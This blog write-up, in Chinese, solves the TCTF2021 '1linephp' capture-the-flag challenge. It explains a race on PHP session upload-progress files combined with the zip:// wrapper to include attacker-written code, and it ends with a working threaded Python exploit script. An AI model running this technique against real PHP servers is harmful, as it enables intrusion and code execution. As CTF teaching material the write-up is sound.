[TCTF2021]1linephp

[TCTF2021]1linephp

题目给出了源码:

<?php
($_=@$_GET['yxxx'].'.php') && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__) && include('phpinfo.html');

直接就是一个三目运算符表达式,很简洁,意思是将用GET方法传进来的yxxx参数后面拼接上.php作为文件名,然后用file()函数读取文件内容,并且内容的前6个字符是@<?php这6个字符,如果上述条件成立的话就将这个文件包含进来,否者就显示phpinfo.html的内容。

session.upload_progress

既然是读文件,他给没有说要读什么文件呀,那大概率就是让我们上传一个文件再去读取,可是这里也没有能够直接上传文件的地方,这里比较常用的就是利用session.upload_progress,这个知识点在之前的国赛初赛里面也有用到。当session.upload_progress选项开启时,我们可以上传一个文件,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefixsession.upload_progress.name连接在一起的值。并且当文件上传完成的时候,这个session会被立即删除。

image-20210706153314167

我们可以通过不断上传然后读取的方式,也就是条件竞争来包含文件。

这里的session文件默认的保存路径为/tmp/sess_+ 设置的ssid,里面的文件内容如描述那样,是upload_progress + PHP_SESSION_UPLOAD_PROGRESS的值。

image-20210706155258107

zip协议

现在还有一个问题,生成的session文件的开头是upload_progress_,并不复合题目要求的@<?php这6个字符开头,我们需要想一个办法把前面那串字符给消除掉。而且生成的文件也并不是.php文件。这里用到了zip协议。

example:

zip://1.zip#1.php

这个协议用法很简单,就是我们将1.php文件压缩成1.zip文件,通过zip协议读取的时候只需在1.zip后面加#和被压缩文件的名字即可。

这样,我们就成功绕过了必须是.php结尾的问题。

第二个问题是需要将upload_progress_这串字符消除,这里需要知道zip文件的特性。

实际上zip前26个字节对数据读取没影响,我们把它都改成00都能够正常读取,而结尾也能够随便填充,也就是说session文件除了我们输入的内容以外后面的那些序列化的内容并不会影响zip文件的读取。

image-20210706161034327

因此我们只需要把我们生成的zip文件删除掉前16个字节(upload_progress_⻓度为16),相当于让upload_progress_作为我们zip文件的前16个字节。

EXP:来自NULL战队

import requests
import threading
host = 'http://111.186.59.2:50082'
PHPSESSID = 'john'
def creatSession():
  while True:
    files = {
     "upload" : ("tmp.jpg", open("./1.jpg", "rb"))
    }
    data = {"PHP_SESSION_UPLOAD_PROGRESS" : open("./1.zip", "rb").read() }
    headers = {'Cookie':'PHPSESSID=' + PHPSESSID}
    r = requests.post(host,files = files,headers = headers,data=data)

fileName = "zip:///tmp/sess_"+PHPSESSID+"%231"

if __name__ == '__main__':
  url = "{}/index.php?yxxx={}".format(host,fileName)
  headers = {'Cookie':'PHPSESSID=' + PHPSESSID}
  t = threading.Thread(target=creatSession,args=())
  t.setDaemon(True)
  t.start()
  while True:
   res = requests.get(url,headers=headers)
   if b"aaaabcd" in res.content:
    print(res.content)
    break
   else:
    print("[-] retry.")
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇